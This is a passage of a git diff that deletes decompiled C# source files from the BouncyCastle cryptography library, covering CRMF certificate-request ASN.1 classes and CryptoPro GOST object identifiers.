AddOptional(v, 9, isExplicit: false, extensions); - return CertTemplate.GetInstance(new DerSequence(v)); - } - - private void AddOptional(Asn1EncodableVector v, int tagNo, bool isExplicit, Asn1Encodable obj) - { - if (obj != null) - { - v.Add(new DerTaggedObject(isExplicit, tagNo, obj)); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/Controls.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/Controls.cs deleted file mode 100644 index a03eb36..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/Controls.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class Controls : Asn1Encodable -{ - private readonly Asn1Sequence content; - - private Controls(Asn1Sequence seq) - { - content = seq; - } - - public static Controls GetInstance(object obj) - { - if (obj is Controls) - { - return (Controls)obj; - } - if (obj is Asn1Sequence) - { - return new Controls((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public Controls(params AttributeTypeAndValue[] atvs) - { - content = new DerSequence(atvs); - } - - public virtual AttributeTypeAndValue[] ToAttributeTypeAndValueArray() - { - AttributeTypeAndValue[] array = new AttributeTypeAndValue[content.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = AttributeTypeAndValue.GetInstance(content[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return content; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CrmfObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CrmfObjectIdentifiers.cs deleted file mode 100644 index 1b90687..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CrmfObjectIdentifiers.cs +++ /dev/null @@ -1,20 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Crmf; - -public abstract class CrmfObjectIdentifiers -{ - public static readonly DerObjectIdentifier id_pkix = new DerObjectIdentifier("1.3.6.1.5.5.7"); - - public static readonly DerObjectIdentifier id_pkip = id_pkix.Branch("5"); - - public static readonly DerObjectIdentifier id_regCtrl = id_pkip.Branch("1"); - - public static readonly DerObjectIdentifier id_regCtrl_regToken = id_regCtrl.Branch("1"); - - public static readonly DerObjectIdentifier id_regCtrl_authenticator = id_regCtrl.Branch("2"); - - public static readonly DerObjectIdentifier id_regCtrl_pkiPublicationInfo = id_regCtrl.Branch("3"); - - public static readonly DerObjectIdentifier id_regCtrl_pkiArchiveOptions = id_regCtrl.Branch("4"); - - public static readonly DerObjectIdentifier id_ct_encKeyWithID = new DerObjectIdentifier("1.2.840.113549.1.9.16.1.21"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/EncKeyWithID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/EncKeyWithID.cs deleted file mode 100644 index 1f76156..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/EncKeyWithID.cs +++ /dev/null @@ -1,77 +0,0 @@ -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class EncKeyWithID : Asn1Encodable -{ - private readonly PrivateKeyInfo privKeyInfo; - - private readonly Asn1Encodable identifier; - - public virtual PrivateKeyInfo PrivateKey => privKeyInfo; - - public virtual bool HasIdentifier => identifier != null; - - public virtual bool IsIdentifierUtf8String => identifier is DerUtf8String; - - public virtual Asn1Encodable Identifier => identifier; - - public static EncKeyWithID GetInstance(object obj) - { - if (obj is EncKeyWithID) - { - return (EncKeyWithID)obj; - } - if (obj != null) - { - return new EncKeyWithID(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - private EncKeyWithID(Asn1Sequence seq) - { - privKeyInfo = PrivateKeyInfo.GetInstance(seq[0]); - if (seq.Count > 1) - { - if (!(seq[1] is DerUtf8String)) - { - identifier = GeneralName.GetInstance(seq[1]); - } - else - { - identifier = seq[1]; - } - } - else - { - identifier = null; - } - } - - public EncKeyWithID(PrivateKeyInfo privKeyInfo) - { - this.privKeyInfo = privKeyInfo; - identifier = null; - } - - public EncKeyWithID(PrivateKeyInfo privKeyInfo, DerUtf8String str) - { - this.privKeyInfo = privKeyInfo; - identifier = str; - } - - public EncKeyWithID(PrivateKeyInfo privKeyInfo, GeneralName generalName) - { - this.privKeyInfo = privKeyInfo; - identifier = generalName; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(privKeyInfo); - asn1EncodableVector.AddOptional(identifier); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/EncryptedKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/EncryptedKey.cs deleted file mode 100644 index 6ae441b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/EncryptedKey.cs +++ /dev/null @@ -1,60 +0,0 @@ -using Org.BouncyCastle.Asn1.Cms; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class EncryptedKey : Asn1Encodable, IAsn1Choice -{ - private readonly EnvelopedData envelopedData; - - private readonly EncryptedValue encryptedValue; - - public virtual bool IsEncryptedValue => encryptedValue != null; - - public virtual Asn1Encodable Value - { - get - { - if (encryptedValue != null) - { - return encryptedValue; - } - return envelopedData; - } - } - - public static EncryptedKey GetInstance(object o) - { - if (o is EncryptedKey) - { - return (EncryptedKey)o; - } - if (o is Asn1TaggedObject) - { - return new EncryptedKey(EnvelopedData.GetInstance((Asn1TaggedObject)o, explicitly: false)); - } - if (o is EncryptedValue) - { - return new EncryptedKey((EncryptedValue)o); - } - return new EncryptedKey(EncryptedValue.GetInstance(o)); - } - - public EncryptedKey(EnvelopedData envelopedData) - { - this.envelopedData = envelopedData; - } - - public EncryptedKey(EncryptedValue encryptedValue) - { - this.encryptedValue = encryptedValue; - } - - public override Asn1Object ToAsn1Object() - { - if (encryptedValue != null) - { - return encryptedValue.ToAsn1Object(); - } - return new DerTaggedObject(explicitly: false, 0, envelopedData); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/EncryptedValue.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/EncryptedValue.cs deleted file mode 100644 index 1d55f1a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/EncryptedValue.cs +++ /dev/null @@ -1,106 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class EncryptedValue : Asn1Encodable -{ - private readonly AlgorithmIdentifier intendedAlg; - - private readonly AlgorithmIdentifier symmAlg; - - private readonly DerBitString encSymmKey; - - private readonly AlgorithmIdentifier keyAlg; - - private readonly Asn1OctetString valueHint; - - private readonly DerBitString encValue; - - public virtual AlgorithmIdentifier IntendedAlg => intendedAlg; - - public virtual AlgorithmIdentifier SymmAlg => symmAlg; - - public virtual DerBitString EncSymmKey => encSymmKey; - - public virtual AlgorithmIdentifier KeyAlg => keyAlg; - - public virtual Asn1OctetString ValueHint => valueHint; - - public virtual DerBitString EncValue => encValue; - - private EncryptedValue(Asn1Sequence seq) - { - int i; - for (i = 0; seq[i] is Asn1TaggedObject; i++) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)seq[i]; - switch (asn1TaggedObject.TagNo) - { - case 0: - intendedAlg = AlgorithmIdentifier.GetInstance(asn1TaggedObject, explicitly: false); - break; - case 1: - symmAlg = AlgorithmIdentifier.GetInstance(asn1TaggedObject, explicitly: false); - break; - case 2: - encSymmKey = DerBitString.GetInstance(asn1TaggedObject, isExplicit: false); - break; - case 3: - keyAlg = AlgorithmIdentifier.GetInstance(asn1TaggedObject, explicitly: false); - break; - case 4: - valueHint = Asn1OctetString.GetInstance(asn1TaggedObject, isExplicit: false); - break; - } - } - encValue = DerBitString.GetInstance(seq[i]); - } - - public static EncryptedValue GetInstance(object obj) - { - if (obj is EncryptedValue) - { - return (EncryptedValue)obj; - } - if (obj != null) - { - return new EncryptedValue(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - public EncryptedValue(AlgorithmIdentifier intendedAlg, AlgorithmIdentifier symmAlg, DerBitString encSymmKey, AlgorithmIdentifier keyAlg, Asn1OctetString valueHint, DerBitString encValue) - { - if (encValue == null) - { - throw new ArgumentNullException("encValue"); - } - this.intendedAlg = intendedAlg; - this.symmAlg = symmAlg; - this.encSymmKey = encSymmKey; - this.keyAlg = keyAlg; - this.valueHint = valueHint; - this.encValue = encValue; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - AddOptional(asn1EncodableVector, 0, intendedAlg); - AddOptional(asn1EncodableVector, 1, symmAlg); - AddOptional(asn1EncodableVector, 2, encSymmKey); - AddOptional(asn1EncodableVector, 3, keyAlg); - AddOptional(asn1EncodableVector, 4, valueHint); - asn1EncodableVector.Add(encValue); - return new DerSequence(asn1EncodableVector); - } - - private void AddOptional(Asn1EncodableVector v, int tagNo, Asn1Encodable obj) - { - if (obj != null) - { - v.Add(new DerTaggedObject(explicitly: false, tagNo, obj)); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/OptionalValidity.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/OptionalValidity.cs deleted file mode 100644 index b98aaa7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/OptionalValidity.cs +++ /dev/null @@ -1,58 +0,0 @@ -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class OptionalValidity : Asn1Encodable -{ - private readonly Time notBefore; - - private readonly Time notAfter; - - public virtual Time NotBefore => notBefore; - - public virtual Time NotAfter => notAfter; - - private OptionalValidity(Asn1Sequence seq) - { - foreach (Asn1TaggedObject item in seq) - { - if (item.TagNo == 0) - { - notBefore = Time.GetInstance(item, explicitly: true); - } - else - { - notAfter = Time.GetInstance(item, explicitly: true); - } - } - } - - public static OptionalValidity GetInstance(object obj) - { - if (obj == null || obj is OptionalValidity) - { - return (OptionalValidity)obj; - } - return new OptionalValidity(Asn1Sequence.GetInstance(obj)); - } - - public OptionalValidity(Time notBefore, Time notAfter) - { - this.notBefore = notBefore; - this.notAfter = notAfter; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (notBefore != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, notBefore)); - } - if (notAfter != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, notAfter)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/PKMacValue.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/PKMacValue.cs deleted file mode 100644 index 7e94061..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/PKMacValue.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Cmp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class PKMacValue : Asn1Encodable -{ - private readonly AlgorithmIdentifier algID; - - private readonly DerBitString macValue; - - public virtual AlgorithmIdentifier AlgID => algID; - - public virtual DerBitString MacValue => macValue; - - private PKMacValue(Asn1Sequence seq) - { - algID = AlgorithmIdentifier.GetInstance(seq[0]); - macValue = DerBitString.GetInstance(seq[1]); - } - - public static PKMacValue GetInstance(object obj) - { - if (obj is PKMacValue) - { - return (PKMacValue)obj; - } - if (obj is Asn1Sequence) - { - return new PKMacValue((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public static PKMacValue GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - public PKMacValue(PbmParameter pbmParams, DerBitString macValue) - : this(new AlgorithmIdentifier(CmpObjectIdentifiers.passwordBasedMac, pbmParams), macValue) - { - } - - public PKMacValue(AlgorithmIdentifier algID, DerBitString macValue) - { - this.algID = algID; - this.macValue = macValue; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(algID, macValue); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/PkiArchiveOptions.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/PkiArchiveOptions.cs deleted file mode 100644 index cecb719..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/PkiArchiveOptions.cs +++ /dev/null @@ -1,92 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class PkiArchiveOptions : Asn1Encodable, IAsn1Choice -{ - public const int encryptedPrivKey = 0; - - public const int keyGenParameters = 1; - - public const int archiveRemGenPrivKey = 2; - - private readonly Asn1Encodable value; - - public virtual int Type - { - get - { - if (value is EncryptedKey) - { - return 0; - } - if (value is Asn1OctetString) - { - return 1; - } - return 2; - } - } - - public virtual Asn1Encodable Value => value; - - public static PkiArchiveOptions GetInstance(object obj) - { - if (obj is PkiArchiveOptions) - { - return (PkiArchiveOptions)obj; - } - if (obj is Asn1TaggedObject) - { - return new PkiArchiveOptions((Asn1TaggedObject)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - private PkiArchiveOptions(Asn1TaggedObject tagged) - { - switch (tagged.TagNo) - { - case 0: - value = EncryptedKey.GetInstance(tagged.GetObject()); - break; - case 1: - value = Asn1OctetString.GetInstance(tagged, isExplicit: false); - break; - case 2: - value = DerBoolean.GetInstance(tagged, isExplicit: false); - break; - default: - throw new ArgumentException("unknown tag number: " + tagged.TagNo, "tagged"); - } - } - - public PkiArchiveOptions(EncryptedKey encKey) - { - value = encKey; - } - - public PkiArchiveOptions(Asn1OctetString keyGenParameters) - { - value = keyGenParameters; - } - - public PkiArchiveOptions(bool archiveRemGenPrivKey) - { - value = DerBoolean.GetInstance(archiveRemGenPrivKey); - } - - public override Asn1Object ToAsn1Object() - { - if (value is EncryptedKey) - { - return new DerTaggedObject(explicitly: true, 0, value); - } - if (value is Asn1OctetString) - { - return new DerTaggedObject(explicitly: false, 1, value); - } - return new DerTaggedObject(explicitly: false, 2, value); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/PkiPublicationInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/PkiPublicationInfo.cs deleted file mode 100644 index 308fccb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/PkiPublicationInfo.cs +++ /dev/null @@ -1,51 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class PkiPublicationInfo : Asn1Encodable -{ - private readonly DerInteger action; - - private readonly Asn1Sequence pubInfos; - - public virtual DerInteger Action => action; - - private PkiPublicationInfo(Asn1Sequence seq) - { - action = DerInteger.GetInstance(seq[0]); - pubInfos = Asn1Sequence.GetInstance(seq[1]); - } - - public static PkiPublicationInfo GetInstance(object obj) - { - if (obj is PkiPublicationInfo) - { - return (PkiPublicationInfo)obj; - } - if (obj is Asn1Sequence) - { - return new PkiPublicationInfo((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public virtual SinglePubInfo[] GetPubInfos() - { - if (pubInfos == null) - { - return null; - } - SinglePubInfo[] array = new SinglePubInfo[pubInfos.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = SinglePubInfo.GetInstance(pubInfos[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(action, pubInfos); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/PopoPrivKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/PopoPrivKey.cs deleted file mode 100644 index 1de28e8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/PopoPrivKey.cs +++ /dev/null @@ -1,66 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Cms; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class PopoPrivKey : Asn1Encodable, IAsn1Choice -{ - public const int thisMessage = 0; - - public const int subsequentMessage = 1; - - public const int dhMAC = 2; - - public const int agreeMAC = 3; - - public const int encryptedKey = 4; - - private readonly int tagNo; - - private readonly Asn1Encodable obj; - - public virtual int Type => tagNo; - - public virtual Asn1Encodable Value => obj; - - private PopoPrivKey(Asn1TaggedObject obj) - { - tagNo = obj.TagNo; - switch (tagNo) - { - case 0: - this.obj = DerBitString.GetInstance(obj, isExplicit: false); - break; - case 1: - this.obj = SubsequentMessage.ValueOf(DerInteger.GetInstance(obj, isExplicit: false).Value.IntValue); - break; - case 2: - this.obj = DerBitString.GetInstance(obj, isExplicit: false); - break; - case 3: - this.obj = PKMacValue.GetInstance(obj, isExplicit: false); - break; - case 4: - this.obj = EnvelopedData.GetInstance(obj, explicitly: false); - break; - default: - throw new ArgumentException("unknown tag in PopoPrivKey", "obj"); - } - } - - public static PopoPrivKey GetInstance(Asn1TaggedObject tagged, bool isExplicit) - { - return new PopoPrivKey(Asn1TaggedObject.GetInstance(tagged.GetObject())); - } - - public PopoPrivKey(SubsequentMessage msg) - { - tagNo = 1; - obj = msg; - } - - public override Asn1Object ToAsn1Object() - { - return new DerTaggedObject(explicitly: false, tagNo, obj); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/PopoSigningKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/PopoSigningKey.cs deleted file mode 100644 index 19ddb5c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/PopoSigningKey.cs +++ /dev/null @@ -1,73 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class PopoSigningKey : Asn1Encodable -{ - private readonly PopoSigningKeyInput poposkInput; - - private readonly AlgorithmIdentifier algorithmIdentifier; - - private readonly DerBitString signature; - - public virtual PopoSigningKeyInput PoposkInput => poposkInput; - - public virtual AlgorithmIdentifier AlgorithmIdentifier => algorithmIdentifier; - - public virtual DerBitString Signature => signature; - - private PopoSigningKey(Asn1Sequence seq) - { - int index = 0; - if (seq[index] is Asn1TaggedObject) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)seq[index++]; - if (asn1TaggedObject.TagNo != 0) - { - throw new ArgumentException("Unknown PopoSigningKeyInput tag: " + asn1TaggedObject.TagNo, "seq"); - } - poposkInput = PopoSigningKeyInput.GetInstance(asn1TaggedObject.GetObject()); - } - algorithmIdentifier = AlgorithmIdentifier.GetInstance(seq[index++]); - signature = DerBitString.GetInstance(seq[index]); - } - - public static PopoSigningKey GetInstance(object obj) - { - if (obj is PopoSigningKey) - { - return (PopoSigningKey)obj; - } - if (obj is Asn1Sequence) - { - return new PopoSigningKey((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public static PopoSigningKey GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - public PopoSigningKey(PopoSigningKeyInput poposkIn, AlgorithmIdentifier aid, DerBitString signature) - { - poposkInput = poposkIn; - algorithmIdentifier = aid; - this.signature = signature; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (poposkInput != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, poposkInput)); - } - asn1EncodableVector.Add(algorithmIdentifier); - asn1EncodableVector.Add(signature); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/PopoSigningKeyInput.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/PopoSigningKeyInput.cs deleted file mode 100644 index c0af6ca..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/PopoSigningKeyInput.cs +++ /dev/null @@ -1,79 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class PopoSigningKeyInput : Asn1Encodable -{ - private readonly GeneralName sender; - - private readonly PKMacValue publicKeyMac; - - private readonly SubjectPublicKeyInfo publicKey; - - public virtual GeneralName Sender => sender; - - public virtual PKMacValue PublicKeyMac => publicKeyMac; - - public virtual SubjectPublicKeyInfo PublicKey => publicKey; - - private PopoSigningKeyInput(Asn1Sequence seq) - { - Asn1Encodable asn1Encodable = seq[0]; - if (asn1Encodable is Asn1TaggedObject) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)asn1Encodable; - if (asn1TaggedObject.TagNo != 0) - { - throw new ArgumentException("Unknown authInfo tag: " + asn1TaggedObject.TagNo, "seq"); - } - sender = GeneralName.GetInstance(asn1TaggedObject.GetObject()); - } - else - { - publicKeyMac = PKMacValue.GetInstance(asn1Encodable); - } - publicKey = SubjectPublicKeyInfo.GetInstance(seq[1]); - } - - public static PopoSigningKeyInput GetInstance(object obj) - { - if (obj is PopoSigningKeyInput) - { - return (PopoSigningKeyInput)obj; - } - if (obj is Asn1Sequence) - { - return new PopoSigningKeyInput((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public PopoSigningKeyInput(GeneralName sender, SubjectPublicKeyInfo spki) - { - this.sender = sender; - publicKey = spki; - } - - public PopoSigningKeyInput(PKMacValue pkmac, SubjectPublicKeyInfo spki) - { - publicKeyMac = pkmac; - publicKey = spki; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (sender != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, sender)); - } - else - { - asn1EncodableVector.Add(publicKeyMac); - } - asn1EncodableVector.Add(publicKey); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/ProofOfPossession.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/ProofOfPossession.cs deleted file mode 100644 index 0803557..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/ProofOfPossession.cs +++ /dev/null @@ -1,79 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class ProofOfPossession : Asn1Encodable, IAsn1Choice -{ - public const int TYPE_RA_VERIFIED = 0; - - public const int TYPE_SIGNING_KEY = 1; - - public const int TYPE_KEY_ENCIPHERMENT = 2; - - public const int TYPE_KEY_AGREEMENT = 3; - - private readonly int tagNo; - - private readonly Asn1Encodable obj; - - public virtual int Type => tagNo; - - public virtual Asn1Encodable Object => obj; - - private ProofOfPossession(Asn1TaggedObject tagged) - { - tagNo = tagged.TagNo; - switch (tagNo) - { - case 0: - obj = DerNull.Instance; - break; - case 1: - obj = PopoSigningKey.GetInstance(tagged, isExplicit: false); - break; - case 2: - case 3: - obj = PopoPrivKey.GetInstance(tagged, isExplicit: false); - break; - default: - throw new ArgumentException("unknown tag: " + tagNo, "tagged"); - } - } - - public static ProofOfPossession GetInstance(object obj) - { - if (obj is ProofOfPossession) - { - return (ProofOfPossession)obj; - } - if (obj is Asn1TaggedObject) - { - return new ProofOfPossession((Asn1TaggedObject)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public ProofOfPossession() - { - tagNo = 0; - obj = DerNull.Instance; - } - - public ProofOfPossession(PopoSigningKey Poposk) - { - tagNo = 1; - obj = Poposk; - } - - public ProofOfPossession(int type, PopoPrivKey privkey) - { - tagNo = type; - obj = privkey; - } - - public override Asn1Object ToAsn1Object() - { - return new DerTaggedObject(explicitly: false, tagNo, obj); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/SinglePubInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/SinglePubInfo.cs deleted file mode 100644 index ccc688a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/SinglePubInfo.cs +++ /dev/null @@ -1,43 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class SinglePubInfo : Asn1Encodable -{ - private readonly DerInteger pubMethod; - - private readonly GeneralName pubLocation; - - public virtual GeneralName PubLocation => pubLocation; - - private SinglePubInfo(Asn1Sequence seq) - { - pubMethod = DerInteger.GetInstance(seq[0]); - if (seq.Count == 2) - { - pubLocation = GeneralName.GetInstance(seq[1]); - } - } - - public static SinglePubInfo GetInstance(object obj) - { - if (obj is SinglePubInfo) - { - return (SinglePubInfo)obj; - } - if (obj is Asn1Sequence) - { - return new SinglePubInfo((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(pubMethod); - asn1EncodableVector.AddOptional(pubLocation); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/SubsequentMessage.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/SubsequentMessage.cs deleted file mode 100644 index 5810c38..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/SubsequentMessage.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class SubsequentMessage : DerInteger -{ - public static readonly SubsequentMessage encrCert = new SubsequentMessage(0); - - public static readonly SubsequentMessage challengeResp = new SubsequentMessage(1); - - private SubsequentMessage(int value) - : base(value) - { - } - - public static SubsequentMessage ValueOf(int value) - { - return value switch - { - 0 => encrCert, - 1 => challengeResp, - _ => throw new ArgumentException("unknown value: " + value, "value"), - }; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/CryptoProObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/CryptoProObjectIdentifiers.cs deleted file mode 100644 index b892818..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/CryptoPro/CryptoProObjectIdentifiers.cs +++ /dev/null @@ -1,52 +0,0 @@ -namespace Org.BouncyCastle.Asn1.CryptoPro; - -public abstract class CryptoProObjectIdentifiers -{ - public const string GostID = "1.2.643.2.2"; - - public static readonly DerObjectIdentifier GostR3411 = new DerObjectIdentifier("1.2.643.2.2.9"); - - public static readonly DerObjectIdentifier GostR3411Hmac = new DerObjectIdentifier("1.2.643.2.2.10"); - - public static readonly DerObjectIdentifier GostR28147Cbc = new DerObjectIdentifier("1.2.643.2.2.21"); - - public static readonly DerObjectIdentifier ID_Gost28147_89_CryptoPro_A_ParamSet = new DerObjectIdentifier("1.2.643.2.2.31.1"); - - public static readonly DerObjectIdentifier GostR3410x94 = new DerObjectIdentifier("1.2.643.2.2.20"); - - public static readonly DerObjectIdentifier GostR3410x2001 = new DerObjectIdentifier("1.2.643.2.2.19"); - - public static readonly DerObjectIdentifier GostR3411x94WithGostR3410x94 = new DerObjectIdentifier("1.2.643.2.2.4"); - - public static readonly DerObjectIdentifier GostR3411x94WithGostR3410x2001 = new DerObjectIdentifier("1.2.643.2.2.3"); - - public static readonly DerObjectIdentifier GostR3411x94CryptoProParamSet = new DerObjectIdentifier("1.2.643.2.2.30.1"); - - public static readonly DerObjectIdentifier GostR3410x94CryptoProA = new DerObjectIdentifier("1.2.643.2.2.32.2"); - - public static readonly DerObjectIdentifier GostR3410x94CryptoProB = new DerObjectIdentifier("1.2.643.2.2.32.3"); - - public static readonly DerObjectIdentifier GostR3410x94CryptoProC = new DerObjectIdentifier("1.2.643.2.2.32.4"); - - public static readonly DerObjectIdentifier GostR3410x94CryptoProD = new DerObjectIdentifier("1.2.643.2.2.32.5"); - - public static readonly DerObjectIdentifier GostR3410x94CryptoProXchA = new DerObjectIdentifier("1.2.643.2.2.33.1"); - - public static readonly DerObjectIdentifier GostR3410x94CryptoProXchB = new DerObjectIdentifier("1.2.643.2.2.33.2"); - - public static readonly DerObjectIdentifier GostR3410x94CryptoProXchC = new DerObjectIdentifier("1.2.643.2.2.33.3"); - - 